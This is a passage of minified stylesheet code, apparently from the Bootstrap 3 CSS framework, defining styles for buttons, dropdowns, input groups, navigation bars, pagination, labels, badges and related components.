.badge{color:#f0ad4e;background-color:#fff}.btn-danger{color:#fff;background-color:#d9534f;border-color:#d43f3a}.btn-danger:focus,.btn-danger.focus{color:#fff;background-color:#c9302c;border-color:#761c19}.btn-danger:hover{color:#fff;background-color:#c9302c;border-color:#ac2925}.btn-danger:active,.btn-danger.active,.open>.btn-danger.dropdown-toggle{color:#fff;background-color:#c9302c;border-color:#ac2925}.btn-danger:active:hover,.btn-danger:active:focus,.btn-danger:active.focus,.btn-danger.active:hover,.btn-danger.active:focus,.btn-danger.active.focus,.open>.btn-danger.dropdown-toggle:hover,.open>.btn-danger.dropdown-toggle:focus,.open>.btn-danger.dropdown-toggle.focus{color:#fff;background-color:#ac2925;border-color:#761c19}.btn-danger:active,.btn-danger.active,.open>.btn-danger.dropdown-toggle{background-image:none}.btn-danger.disabled:hover,.btn-danger.disabled:focus,.btn-danger.disabled.focus,.btn-danger[disabled]:hover,.btn-danger[disabled]:focus,.btn-danger[disabled].focus,fieldset[disabled] .btn-danger:hover,fieldset[disabled] .btn-danger:focus,fieldset[disabled] .btn-danger.focus{background-color:#d9534f;border-color:#d43f3a}.btn-danger .badge{color:#d9534f;background-color:#fff}.btn-link{color:#337ab7;font-weight:normal;border-radius:0}.btn-link,.btn-link:active,.btn-link.active,.btn-link[disabled],fieldset[disabled] .btn-link{background-color:transparent;-webkit-box-shadow:none;box-shadow:none}.btn-link,.btn-link:hover,.btn-link:focus,.btn-link:active{border-color:transparent}.btn-link:hover,.btn-link:focus{color:#23527c;text-decoration:underline;background-color:transparent}.btn-link[disabled]:hover,.btn-link[disabled]:focus,fieldset[disabled] .btn-link:hover,fieldset[disabled] .btn-link:focus{color:#777777;text-decoration:none}.btn-lg,.btn-group-lg>.btn{padding:10px 16px;font-size:18px;line-height:1.3333333;border-radius:6px}.btn-sm,.btn-group-sm>.btn{padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px}.btn-xs,.btn-group-xs>.btn{padding:1px 5px;font-size:12px;line-height:1.5;border-radius:3px}.btn-block{display:block;width:100%}.btn-block+.btn-block{margin-top:5px}input[type="submit"].btn-block,input[type="reset"].btn-block,input[type="button"].btn-block{width:100%}.fade{opacity:0;-webkit-transition:opacity 0.15s linear;-o-transition:opacity 0.15s linear;transition:opacity 0.15s linear}.fade.in{opacity:1}.collapse{display:none}.collapse.in{display:block}tr.collapse.in{display:table-row}tbody.collapse.in{display:table-row-group}.collapsing{position:relative;height:0;overflow:hidden;-webkit-transition-property:height, visibility;transition-property:height, visibility;-webkit-transition-duration:0.35s;transition-duration:0.35s;-webkit-transition-timing-function:ease;transition-timing-function:ease}.caret{display:inline-block;width:0;height:0;margin-left:2px;vertical-align:middle;border-top:4px dashed;border-top:4px solid \9;border-right:4px solid transparent;border-left:4px solid transparent}.dropup,.dropdown{position:relative}.dropdown-toggle:focus{outline:0}.dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;display:none;float:left;min-width:160px;padding:5px 0;margin:2px 0 0;list-style:none;font-size:14px;text-align:left;background-color:#fff;border:1px solid #ccc;border:1px solid rgba(0,0,0,0.15);border-radius:4px;-webkit-box-shadow:0 6px 12px rgba(0,0,0,0.175);box-shadow:0 6px 12px rgba(0,0,0,0.175);background-clip:padding-box}.dropdown-menu.pull-right{right:0;left:auto}.dropdown-menu .divider{height:1px;margin:9px 0;overflow:hidden;background-color:#e5e5e5}.dropdown-menu>li>a{display:block;padding:3px 20px;clear:both;font-weight:normal;line-height:1.42857143;color:#333333;white-space:nowrap}.dropdown-menu>li>a:hover,.dropdown-menu>li>a:focus{text-decoration:none;color:#262626;background-color:#f5f5f5}.dropdown-menu>.active>a,.dropdown-menu>.active>a:hover,.dropdown-menu>.active>a:focus{color:#fff;text-decoration:none;outline:0;background-color:#337ab7}.dropdown-menu>.disabled>a,.dropdown-menu>.disabled>a:hover,.dropdown-menu>.disabled>a:focus{color:#777777}.dropdown-menu>.disabled>a:hover,.dropdown-menu>.disabled>a:focus{text-decoration:none;background-color:transparent;background-image:none;filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);cursor:not-allowed}.open>.dropdown-menu{display:block}.open>a{outline:0}.dropdown-menu-right{left:auto;right:0}.dropdown-menu-left{left:0;right:auto}.dropdown-header{display:block;padding:3px 20px;font-size:12px;line-height:1.42857143;color:#777777;white-space:nowrap}.dropdown-backdrop{position:fixed;left:0;right:0;bottom:0;top:0;z-index:990}.pull-right>.dropdown-menu{right:0;left:auto}.dropup .caret,.navbar-fixed-bottom .dropdown .caret{border-top:0;border-bottom:4px dashed;border-bottom:4px solid \9;content:""}.dropup .dropdown-menu,.navbar-fixed-bottom .dropdown .dropdown-menu{top:auto;bottom:100%;margin-bottom:2px}@media (min-width: 768px){.navbar-right .dropdown-menu{right:0;left:auto}.navbar-right .dropdown-menu-left{left:0;right:auto}}.btn-group,.btn-group-vertical{position:relative;display:inline-block;vertical-align:middle}.btn-group>.btn,.btn-group-vertical>.btn{position:relative;float:left}.btn-group>.btn:hover,.btn-group>.btn:focus,.btn-group>.btn:active,.btn-group>.btn.active,.btn-group-vertical>.btn:hover,.btn-group-vertical>.btn:focus,.btn-group-vertical>.btn:active,.btn-group-vertical>.btn.active{z-index:2}.btn-group .btn+.btn,.btn-group .btn+.btn-group,.btn-group .btn-group+.btn,.btn-group .btn-group+.btn-group{margin-left:-1px}.btn-toolbar{margin-left:-5px}.btn-toolbar:before,.btn-toolbar:after{content:" ";display:table}.btn-toolbar:after{clear:both}.btn-toolbar .btn,.btn-toolbar .btn-group,.btn-toolbar .input-group{float:left}.btn-toolbar>.btn,.btn-toolbar>.btn-group,.btn-toolbar>.input-group{margin-left:5px}.btn-group>.btn:not(:first-child):not(:last-child):not(.dropdown-toggle){border-radius:0}.btn-group>.btn:first-child{margin-left:0}.btn-group>.btn:first-child:not(:last-child):not(.dropdown-toggle){border-bottom-right-radius:0;border-top-right-radius:0}.btn-group>.btn:last-child:not(:first-child),.btn-group>.dropdown-toggle:not(:first-child){border-bottom-left-radius:0;border-top-left-radius:0}.btn-group>.btn-group{float:left}.btn-group>.btn-group:not(:first-child):not(:last-child)>.btn{border-radius:0}.btn-group>.btn-group:first-child:not(:last-child)>.btn:last-child,.btn-group>.btn-group:first-child:not(:last-child)>.dropdown-toggle{border-bottom-right-radius:0;border-top-right-radius:0}.btn-group>.btn-group:last-child:not(:first-child)>.btn:first-child{border-bottom-left-radius:0;border-top-left-radius:0}.btn-group .dropdown-toggle:active,.btn-group.open .dropdown-toggle{outline:0}.btn-group>.btn+.dropdown-toggle{padding-left:8px;padding-right:8px}.btn-group>.btn-lg+.dropdown-toggle,.btn-group-lg.btn-group>.btn+.dropdown-toggle{padding-left:12px;padding-right:12px}.btn-group.open .dropdown-toggle{-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,0.125);box-shadow:inset 0 3px 5px rgba(0,0,0,0.125)}.btn-group.open .dropdown-toggle.btn-link{-webkit-box-shadow:none;box-shadow:none}.btn .caret{margin-left:0}.btn-lg .caret,.btn-group-lg>.btn .caret{border-width:5px 5px 0;border-bottom-width:0}.dropup .btn-lg .caret,.dropup .btn-group-lg>.btn .caret{border-width:0 5px 5px}.btn-group-vertical>.btn,.btn-group-vertical>.btn-group,.btn-group-vertical>.btn-group>.btn{display:block;float:none;width:100%;max-width:100%}.btn-group-vertical>.btn-group:before,.btn-group-vertical>.btn-group:after{content:" ";display:table}.btn-group-vertical>.btn-group:after{clear:both}.btn-group-vertical>.btn-group>.btn{float:none}.btn-group-vertical>.btn+.btn,.btn-group-vertical>.btn+.btn-group,.btn-group-vertical>.btn-group+.btn,.btn-group-vertical>.btn-group+.btn-group{margin-top:-1px;margin-left:0}.btn-group-vertical>.btn:not(:first-child):not(:last-child){border-radius:0}.btn-group-vertical>.btn:first-child:not(:last-child){border-top-right-radius:4px;border-top-left-radius:4px;border-bottom-right-radius:0;border-bottom-left-radius:0}.btn-group-vertical>.btn:last-child:not(:first-child){border-top-right-radius:0;border-top-left-radius:0;border-bottom-right-radius:4px;border-bottom-left-radius:4px}.btn-group-vertical>.btn-group:not(:first-child):not(:last-child)>.btn{border-radius:0}.btn-group-vertical>.btn-group:first-child:not(:last-child)>.btn:last-child,.btn-group-vertical>.btn-group:first-child:not(:last-child)>.dropdown-toggle{border-bottom-right-radius:0;border-bottom-left-radius:0}.btn-group-vertical>.btn-group:last-child:not(:first-child)>.btn:first-child{border-top-right-radius:0;border-top-left-radius:0}.btn-group-justified{display:table;width:100%;table-layout:fixed;border-collapse:separate}.btn-group-justified>.btn,.btn-group-justified>.btn-group{float:none;display:table-cell;width:1%}.btn-group-justified>.btn-group .btn{width:100%}.btn-group-justified>.btn-group .dropdown-menu{left:auto}[data-toggle="buttons"]>.btn input[type="radio"],[data-toggle="buttons"]>.btn input[type="checkbox"],[data-toggle="buttons"]>.btn-group>.btn input[type="radio"],[data-toggle="buttons"]>.btn-group>.btn input[type="checkbox"]{position:absolute;clip:rect(0, 0, 0, 0);pointer-events:none}.input-group{position:relative;display:table;border-collapse:separate}.input-group[class*="col-"]{float:none;padding-left:0;padding-right:0}.input-group .form-control{position:relative;z-index:2;float:left;width:100%;margin-bottom:0}.input-group .form-control:focus{z-index:3}.input-group-addon,.input-group-btn,.input-group .form-control{display:table-cell}.input-group-addon:not(:first-child):not(:last-child),.input-group-btn:not(:first-child):not(:last-child),.input-group .form-control:not(:first-child):not(:last-child){border-radius:0}.input-group-addon,.input-group-btn{width:1%;white-space:nowrap;vertical-align:middle}.input-group-addon{padding:6px 12px;font-size:14px;font-weight:normal;line-height:1;color:#555555;text-align:center;background-color:#eeeeee;border:1px solid #ccc;border-radius:4px}.input-group-addon.input-sm,.input-group-sm>.input-group-addon,.input-group-sm>.input-group-btn>.input-group-addon.btn{padding:5px 10px;font-size:12px;border-radius:3px}.input-group-addon.input-lg,.input-group-lg>.input-group-addon,.input-group-lg>.input-group-btn>.input-group-addon.btn{padding:10px 16px;font-size:18px;border-radius:6px}.input-group-addon input[type="radio"],.input-group-addon input[type="checkbox"]{margin-top:0}.input-group .form-control:first-child,.input-group-addon:first-child,.input-group-btn:first-child>.btn,.input-group-btn:first-child>.btn-group>.btn,.input-group-btn:first-child>.dropdown-toggle,.input-group-btn:last-child>.btn:not(:last-child):not(.dropdown-toggle),.input-group-btn:last-child>.btn-group:not(:last-child)>.btn{border-bottom-right-radius:0;border-top-right-radius:0}.input-group-addon:first-child{border-right:0}.input-group .form-control:last-child,.input-group-addon:last-child,.input-group-btn:last-child>.btn,.input-group-btn:last-child>.btn-group>.btn,.input-group-btn:last-child>.dropdown-toggle,.input-group-btn:first-child>.btn:not(:first-child),.input-group-btn:first-child>.btn-group:not(:first-child)>.btn{border-bottom-left-radius:0;border-top-left-radius:0}.input-group-addon:last-child{border-left:0}.input-group-btn{position:relative;font-size:0;white-space:nowrap}.input-group-btn>.btn{position:relative}.input-group-btn>.btn+.btn{margin-left:-1px}.input-group-btn>.btn:hover,.input-group-btn>.btn:focus,.input-group-btn>.btn:active{z-index:2}.input-group-btn:first-child>.btn,.input-group-btn:first-child>.btn-group{margin-right:-1px}.input-group-btn:last-child>.btn,.input-group-btn:last-child>.btn-group{z-index:2;margin-left:-1px}.nav{margin-bottom:0;padding-left:0;list-style:none}.nav:before,.nav:after{content:" ";display:table}.nav:after{clear:both}.nav>li{position:relative;display:block}.nav>li>a{position:relative;display:block;padding:10px 15px}.nav>li>a:hover,.nav>li>a:focus{text-decoration:none;background-color:#eeeeee}.nav>li.disabled>a{color:#777777}.nav>li.disabled>a:hover,.nav>li.disabled>a:focus{color:#777777;text-decoration:none;background-color:transparent;cursor:not-allowed}.nav .open>a,.nav .open>a:hover,.nav .open>a:focus{background-color:#eeeeee;border-color:#337ab7}.nav .nav-divider{height:1px;margin:9px 0;overflow:hidden;background-color:#e5e5e5}.nav>li>a>img{max-width:none}.nav-tabs{border-bottom:1px solid #ddd}.nav-tabs>li{float:left;margin-bottom:-1px}.nav-tabs>li>a{margin-right:2px;line-height:1.42857143;border:1px solid transparent;border-radius:4px 4px 0 0}.nav-tabs>li>a:hover{border-color:#eeeeee #eeeeee #ddd}.nav-tabs>li.active>a,.nav-tabs>li.active>a:hover,.nav-tabs>li.active>a:focus{color:#555555;background-color:#fff;border:1px solid #ddd;border-bottom-color:transparent;cursor:default}.nav-pills>li{float:left}.nav-pills>li>a{border-radius:4px}.nav-pills>li+li{margin-left:2px}.nav-pills>li.active>a,.nav-pills>li.active>a:hover,.nav-pills>li.active>a:focus{color:#fff;background-color:#337ab7}.nav-stacked>li{float:none}.nav-stacked>li+li{margin-top:2px;margin-left:0}.nav-justified,.nav-tabs.nav-justified{width:100%}.nav-justified>li,.nav-tabs.nav-justified>li{float:none}.nav-justified>li>a,.nav-tabs.nav-justified>li>a{text-align:center;margin-bottom:5px}.nav-justified>.dropdown .dropdown-menu{top:auto;left:auto}@media (min-width: 768px){.nav-justified>li,.nav-tabs.nav-justified>li{display:table-cell;width:1%}.nav-justified>li>a,.nav-tabs.nav-justified>li>a{margin-bottom:0}}.nav-tabs-justified,.nav-tabs.nav-justified{border-bottom:0}.nav-tabs-justified>li>a,.nav-tabs.nav-justified>li>a{margin-right:0;border-radius:4px}.nav-tabs-justified>.active>a,.nav-tabs.nav-justified>.active>a,.nav-tabs-justified>.active>a:hover,.nav-tabs.nav-justified>.active>a:hover,.nav-tabs-justified>.active>a:focus,.nav-tabs.nav-justified>.active>a:focus{border:1px solid #ddd}@media (min-width: 768px){.nav-tabs-justified>li>a,.nav-tabs.nav-justified>li>a{border-bottom:1px solid #ddd;border-radius:4px 4px 0 0}.nav-tabs-justified>.active>a,.nav-tabs.nav-justified>.active>a,.nav-tabs-justified>.active>a:hover,.nav-tabs.nav-justified>.active>a:hover,.nav-tabs-justified>.active>a:focus,.nav-tabs.nav-justified>.active>a:focus{border-bottom-color:#fff}}.tab-content>.tab-pane{display:none}.tab-content>.active{display:block}.nav-tabs .dropdown-menu{margin-top:-1px;border-top-right-radius:0;border-top-left-radius:0}.navbar{position:relative;min-height:50px;margin-bottom:20px;border:1px solid transparent}.navbar:before,.navbar:after{content:" ";display:table}.navbar:after{clear:both}@media (min-width: 768px){.navbar{border-radius:4px}}.navbar-header:before,.navbar-header:after{content:" ";display:table}.navbar-header:after{clear:both}@media (min-width: 768px){.navbar-header{float:left}}.navbar-collapse{overflow-x:visible;padding-right:15px;padding-left:15px;border-top:1px solid transparent;box-shadow:inset 0 1px 0 rgba(255,255,255,0.1);-webkit-overflow-scrolling:touch}.navbar-collapse:before,.navbar-collapse:after{content:" ";display:table}.navbar-collapse:after{clear:both}.navbar-collapse.in{overflow-y:auto}@media (min-width: 768px){.navbar-collapse{width:auto;border-top:0;box-shadow:none}.navbar-collapse.collapse{display:block !important;height:auto !important;padding-bottom:0;overflow:visible !important}.navbar-collapse.in{overflow-y:visible}.navbar-fixed-top .navbar-collapse,.navbar-static-top .navbar-collapse,.navbar-fixed-bottom .navbar-collapse{padding-left:0;padding-right:0}}.navbar-fixed-top .navbar-collapse,.navbar-fixed-bottom .navbar-collapse{max-height:340px}@media (max-device-width: 480px) and (orientation: landscape){.navbar-fixed-top .navbar-collapse,.navbar-fixed-bottom .navbar-collapse{max-height:200px}}.container>.navbar-header,.container>.navbar-collapse,.container-fluid>.navbar-header,.container-fluid>.navbar-collapse{margin-right:-15px;margin-left:-15px}@media (min-width: 768px){.container>.navbar-header,.container>.navbar-collapse,.container-fluid>.navbar-header,.container-fluid>.navbar-collapse{margin-right:0;margin-left:0}}.navbar-static-top{z-index:1000;border-width:0 0 1px}@media (min-width: 768px){.navbar-static-top{border-radius:0}}.navbar-fixed-top,.navbar-fixed-bottom{position:fixed;right:0;left:0;z-index:1030}@media (min-width: 768px){.navbar-fixed-top,.navbar-fixed-bottom{border-radius:0}}.navbar-fixed-top{top:0;border-width:0 0 1px}.navbar-fixed-bottom{bottom:0;margin-bottom:0;border-width:1px 0 0}.navbar-brand{float:left;padding:15px 15px;font-size:18px;line-height:20px;height:50px}.navbar-brand:hover,.navbar-brand:focus{text-decoration:none}.navbar-brand>img{display:block}@media (min-width: 768px){.navbar>.container .navbar-brand,.navbar>.container-fluid .navbar-brand{margin-left:-15px}}.navbar-toggle{position:relative;float:right;margin-right:15px;padding:9px 10px;margin-top:8px;margin-bottom:8px;background-color:transparent;background-image:none;border:1px solid transparent;border-radius:4px}.navbar-toggle:focus{outline:0}.navbar-toggle .icon-bar{display:block;width:22px;height:2px;border-radius:1px}.navbar-toggle .icon-bar+.icon-bar{margin-top:4px}@media (min-width: 768px){.navbar-toggle{display:none}}.navbar-nav{margin:7.5px -15px}.navbar-nav>li>a{padding-top:10px;padding-bottom:10px;line-height:20px}@media (max-width: 767px){.navbar-nav .open .dropdown-menu{position:static;float:none;width:auto;margin-top:0;background-color:transparent;border:0;box-shadow:none}.navbar-nav .open .dropdown-menu>li>a,.navbar-nav .open .dropdown-menu .dropdown-header{padding:5px 15px 5px 25px}.navbar-nav .open .dropdown-menu>li>a{line-height:20px}.navbar-nav .open .dropdown-menu>li>a:hover,.navbar-nav .open .dropdown-menu>li>a:focus{background-image:none}}@media (min-width: 768px){.navbar-nav{float:left;margin:0}.navbar-nav>li{float:left}.navbar-nav>li>a{padding-top:15px;padding-bottom:15px}}.navbar-form{margin-left:-15px;margin-right:-15px;padding:10px 15px;border-top:1px solid transparent;border-bottom:1px solid transparent;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,0.1),0 1px 0 rgba(255,255,255,0.1);box-shadow:inset 0 1px 0 rgba(255,255,255,0.1),0 1px 0 rgba(255,255,255,0.1);margin-top:8px;margin-bottom:8px}@media (min-width: 768px){.navbar-form .form-group{display:inline-block;margin-bottom:0;vertical-align:middle}.navbar-form .form-control{display:inline-block;width:auto;vertical-align:middle}.navbar-form .form-control-static{display:inline-block}.navbar-form .input-group{display:inline-table;vertical-align:middle}.navbar-form .input-group .input-group-addon,.navbar-form .input-group .input-group-btn,.navbar-form .input-group .form-control{width:auto}.navbar-form .input-group>.form-control{width:100%}.navbar-form .control-label{margin-bottom:0;vertical-align:middle}.navbar-form .radio,.navbar-form .checkbox{display:inline-block;margin-top:0;margin-bottom:0;vertical-align:middle}.navbar-form .radio label,.navbar-form .checkbox label{padding-left:0}.navbar-form .radio input[type="radio"],.navbar-form .checkbox input[type="checkbox"]{position:relative;margin-left:0}.navbar-form .has-feedback .form-control-feedback{top:0}}@media (max-width: 767px){.navbar-form .form-group{margin-bottom:5px}.navbar-form .form-group:last-child{margin-bottom:0}}@media (min-width: 768px){.navbar-form{width:auto;border:0;margin-left:0;margin-right:0;padding-top:0;padding-bottom:0;-webkit-box-shadow:none;box-shadow:none}}.navbar-nav>li>.dropdown-menu{margin-top:0;border-top-right-radius:0;border-top-left-radius:0}.navbar-fixed-bottom .navbar-nav>li>.dropdown-menu{margin-bottom:0;border-top-right-radius:4px;border-top-left-radius:4px;border-bottom-right-radius:0;border-bottom-left-radius:0}.navbar-btn{margin-top:8px;margin-bottom:8px}.navbar-btn.btn-sm,.btn-group-sm>.navbar-btn.btn{margin-top:10px;margin-bottom:10px}.navbar-btn.btn-xs,.btn-group-xs>.navbar-btn.btn{margin-top:14px;margin-bottom:14px}.navbar-text{margin-top:15px;margin-bottom:15px}@media (min-width: 768px){.navbar-text{float:left;margin-left:15px;margin-right:15px}}@media (min-width: 768px){.navbar-left{float:left !important}.navbar-right{float:right !important;margin-right:-15px}.navbar-right ~ .navbar-right{margin-right:0}}.navbar-default{background-color:#f8f8f8;border-color:#e7e7e7}.navbar-default .navbar-brand{color:#777}.navbar-default .navbar-brand:hover,.navbar-default .navbar-brand:focus{color:#5e5e5e;background-color:transparent}.navbar-default .navbar-text{color:#777}.navbar-default .navbar-nav>li>a{color:#777}.navbar-default .navbar-nav>li>a:hover,.navbar-default .navbar-nav>li>a:focus{color:#333;background-color:transparent}.navbar-default .navbar-nav>.active>a,.navbar-default .navbar-nav>.active>a:hover,.navbar-default .navbar-nav>.active>a:focus{color:#555;background-color:#e7e7e7}.navbar-default .navbar-nav>.disabled>a,.navbar-default .navbar-nav>.disabled>a:hover,.navbar-default .navbar-nav>.disabled>a:focus{color:#ccc;background-color:transparent}.navbar-default .navbar-toggle{border-color:#ddd}.navbar-default .navbar-toggle:hover,.navbar-default .navbar-toggle:focus{background-color:#ddd}.navbar-default .navbar-toggle .icon-bar{background-color:#888}.navbar-default .navbar-collapse,.navbar-default .navbar-form{border-color:#e7e7e7}.navbar-default .navbar-nav>.open>a,.navbar-default .navbar-nav>.open>a:hover,.navbar-default .navbar-nav>.open>a:focus{background-color:#e7e7e7;color:#555}@media (max-width: 767px){.navbar-default .navbar-nav .open .dropdown-menu>li>a{color:#777}.navbar-default .navbar-nav .open .dropdown-menu>li>a:hover,.navbar-default .navbar-nav .open .dropdown-menu>li>a:focus{color:#333;background-color:transparent}.navbar-default .navbar-nav .open .dropdown-menu>.active>a,.navbar-default .navbar-nav .open .dropdown-menu>.active>a:hover,.navbar-default .navbar-nav .open .dropdown-menu>.active>a:focus{color:#555;background-color:#e7e7e7}.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a,.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a:hover,.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a:focus{color:#ccc;background-color:transparent}}.navbar-default .navbar-link{color:#777}.navbar-default .navbar-link:hover{color:#333}.navbar-default .btn-link{color:#777}.navbar-default .btn-link:hover,.navbar-default .btn-link:focus{color:#333}.navbar-default .btn-link[disabled]:hover,.navbar-default .btn-link[disabled]:focus,fieldset[disabled] .navbar-default .btn-link:hover,fieldset[disabled] .navbar-default .btn-link:focus{color:#ccc}.navbar-inverse{background-color:#222;border-color:#090909}.navbar-inverse .navbar-brand{color:#9d9d9d}.navbar-inverse .navbar-brand:hover,.navbar-inverse .navbar-brand:focus{color:#fff;background-color:transparent}.navbar-inverse .navbar-text{color:#9d9d9d}.navbar-inverse .navbar-nav>li>a{color:#9d9d9d}.navbar-inverse .navbar-nav>li>a:hover,.navbar-inverse .navbar-nav>li>a:focus{color:#fff;background-color:transparent}.navbar-inverse .navbar-nav>.active>a,.navbar-inverse .navbar-nav>.active>a:hover,.navbar-inverse .navbar-nav>.active>a:focus{color:#fff;background-color:#090909}.navbar-inverse .navbar-nav>.disabled>a,.navbar-inverse .navbar-nav>.disabled>a:hover,.navbar-inverse .navbar-nav>.disabled>a:focus{color:#444;background-color:transparent}.navbar-inverse .navbar-toggle{border-color:#333}.navbar-inverse .navbar-toggle:hover,.navbar-inverse .navbar-toggle:focus{background-color:#333}.navbar-inverse .navbar-toggle .icon-bar{background-color:#fff}.navbar-inverse .navbar-collapse,.navbar-inverse .navbar-form{border-color:#101010}.navbar-inverse .navbar-nav>.open>a,.navbar-inverse .navbar-nav>.open>a:hover,.navbar-inverse .navbar-nav>.open>a:focus{background-color:#090909;color:#fff}@media (max-width: 767px){.navbar-inverse .navbar-nav .open .dropdown-menu>.dropdown-header{border-color:#090909}.navbar-inverse .navbar-nav .open .dropdown-menu .divider{background-color:#090909}.navbar-inverse .navbar-nav .open .dropdown-menu>li>a{color:#9d9d9d}.navbar-inverse .navbar-nav .open .dropdown-menu>li>a:hover,.navbar-inverse .navbar-nav .open .dropdown-menu>li>a:focus{color:#fff;background-color:transparent}.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a,.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a:hover,.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a:focus{color:#fff;background-color:#090909}.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a,.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a:hover,.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a:focus{color:#444;background-color:transparent}}.navbar-inverse .navbar-link{color:#9d9d9d}.navbar-inverse .navbar-link:hover{color:#fff}.navbar-inverse .btn-link{color:#9d9d9d}.navbar-inverse .btn-link:hover,.navbar-inverse .btn-link:focus{color:#fff}.navbar-inverse .btn-link[disabled]:hover,.navbar-inverse .btn-link[disabled]:focus,fieldset[disabled] .navbar-inverse .btn-link:hover,fieldset[disabled] .navbar-inverse .btn-link:focus{color:#444}.breadcrumb{padding:8px 15px;margin-bottom:20px;list-style:none;background-color:#f5f5f5;border-radius:4px}.breadcrumb>li{display:inline-block}.breadcrumb>li+li:before{content:"/ ";padding:0 5px;color:#ccc}.breadcrumb>.active{color:#777777}.pagination{display:inline-block;padding-left:0;margin:20px 0;border-radius:4px}.pagination>li{display:inline}.pagination>li>a,.pagination>li>span{position:relative;float:left;padding:6px 12px;line-height:1.42857143;text-decoration:none;color:#337ab7;background-color:#fff;border:1px solid #ddd;margin-left:-1px}.pagination>li:first-child>a,.pagination>li:first-child>span{margin-left:0;border-bottom-left-radius:4px;border-top-left-radius:4px}.pagination>li:last-child>a,.pagination>li:last-child>span{border-bottom-right-radius:4px;border-top-right-radius:4px}.pagination>li>a:hover,.pagination>li>a:focus,.pagination>li>span:hover,.pagination>li>span:focus{z-index:2;color:#23527c;background-color:#eeeeee;border-color:#ddd}.pagination>.active>a,.pagination>.active>a:hover,.pagination>.active>a:focus,.pagination>.active>span,.pagination>.active>span:hover,.pagination>.active>span:focus{z-index:3;color:#fff;background-color:#337ab7;border-color:#337ab7;cursor:default}.pagination>.disabled>span,.pagination>.disabled>span:hover,.pagination>.disabled>span:focus,.pagination>.disabled>a,.pagination>.disabled>a:hover,.pagination>.disabled>a:focus{color:#777777;background-color:#fff;border-color:#ddd;cursor:not-allowed}.pagination-lg>li>a,.pagination-lg>li>span{padding:10px 16px;font-size:18px;line-height:1.3333333}.pagination-lg>li:first-child>a,.pagination-lg>li:first-child>span{border-bottom-left-radius:6px;border-top-left-radius:6px}.pagination-lg>li:last-child>a,.pagination-lg>li:last-child>span{border-bottom-right-radius:6px;border-top-right-radius:6px}.pagination-sm>li>a,.pagination-sm>li>span{padding:5px 10px;font-size:12px;line-height:1.5}.pagination-sm>li:first-child>a,.pagination-sm>li:first-child>span{border-bottom-left-radius:3px;border-top-left-radius:3px}.pagination-sm>li:last-child>a,.pagination-sm>li:last-child>span{border-bottom-right-radius:3px;border-top-right-radius:3px}.pager{padding-left:0;margin:20px 0;list-style:none;text-align:center}.pager:before,.pager:after{content:" ";display:table}.pager:after{clear:both}.pager li{display:inline}.pager li>a,.pager li>span{display:inline-block;padding:5px 14px;background-color:#fff;border:1px solid #ddd;border-radius:15px}.pager li>a:hover,.pager li>a:focus{text-decoration:none;background-color:#eeeeee}.pager .next>a,.pager .next>span{float:right}.pager .previous>a,.pager .previous>span{float:left}.pager .disabled>a,.pager .disabled>a:hover,.pager .disabled>a:focus,.pager .disabled>span{color:#777777;background-color:#fff;cursor:not-allowed}.label{display:inline;padding:.2em .6em .3em;font-size:75%;font-weight:bold;line-height:1;color:#fff;text-align:center;white-space:nowrap;vertical-align:baseline;border-radius:.25em}.label:empty{display:none}.btn .label{position:relative;top:-1px}a.label:hover,a.label:focus{color:#fff;text-decoration:none;cursor:pointer}.label-default{background-color:#777777}.label-default[href]:hover,.label-default[href]:focus{background-color:#5e5e5e}.label-primary{background-color:#337ab7}.label-primary[href]:hover,.label-primary[href]:focus{background-color:#286090}.label-success{background-color:#5cb85c}.label-success[href]:hover,.label-success[href]:focus{background-color:#449d44}.label-info{background-color:#5bc0de}.label-info[href]:hover,.label-info[href]:focus{background-color:#31b0d5}.label-warning{background-color:#f0ad4e}.label-warning[href]:hover,.label-warning[href]:focus{background-color:#ec971f}.label-danger{background-color:#d9534f}.label-danger[href]:hover,.label-danger[href]:focus{background-color:#c9302c}.badge{display:inline-block;min-width:10px;padding:3px 7px;font-size:12px;font-weight:bold;color:#fff;line-height:1;vertical-align:middle;white-space:nowrap;text-align:center;background-color:#777777;border-radius:10px}.badge:empty{display:none}.btn .badge{position:relative;top:-1px}.btn-xs .badge,.btn-group-xs>.btn .badge,.btn-group-xs>.btn .badge{top:0;padding:1px 5px}.list-group-item.active>.badge,.nav-pills>.active>a>.badge{color:#337ab7;background-color:#fff}.list-group-item>.badge{float:right}.list-group-item>.badge+.badge{margin-right:5px}.nav-pills>li>a>.badge{margin-left:3px}a.badge:hover,a.badge:focus{color:#fff;text-decoration:none;cursor:pointer}.jumbotron{padding-top:30px;padding-bottom:30px;margin-bottom:30px;color:inherit;background-color:#eeeeee}.jumbotron h1,.jumbotron .h1{color:inherit}.jumbotron p{margin-bottom:15px;font-size:21px;font-weight:200}.jumbotron>hr{border-top-color:#d5d5d5}.container .jumbotron,.container-fluid .jumbotron{border-radius:6px;padding-left:15px;padding-right:15px}.jumbotron .container{max-width:100%}@media screen and (min-width: 768px){.jumbotron{padding-top:48px;padding-bottom:48px}.container .jumbotron,.container-fluid .jumbotron{padding-left:60px;padding-right:60px}.jumbotron h1,.jumbotron .h1{font-size:63px}}.thumbnail{display:block;padding:4px;margin-bottom:20px;line-height:1.42857143;background-color:#fff;border:1px solid #ddd;border-radius:4px;-webkit-transition:border 0.2s ease-in-out;-o-transition:border 0.2s ease-in-out;transition:border 0.2s ease-in-out}.thumbnail>img,.thumbnail a>img{display:block;max-width:100%;height:auto;margin-left:auto;margin-right:auto}.thumbnail .caption{padding:9px;color:#333333}a.thumbnail:hover,a.thumbnail:focus,a.thumbnail.active{border-color:#337ab7}.alert{padding:15px;margin-bottom:20px;border:1px solid transparent;border-radius:4px}.alert h4{margin-top:0;color:inherit}.alert .alert-link{font-weight:bold}.alert>p,.alert>ul{margin-bottom:0}.alert>p+p{margin-top:5px}.alert-dismissable,.alert-dismissible{padding-right:35px}.alert-dismissable .close,.alert-dismissible 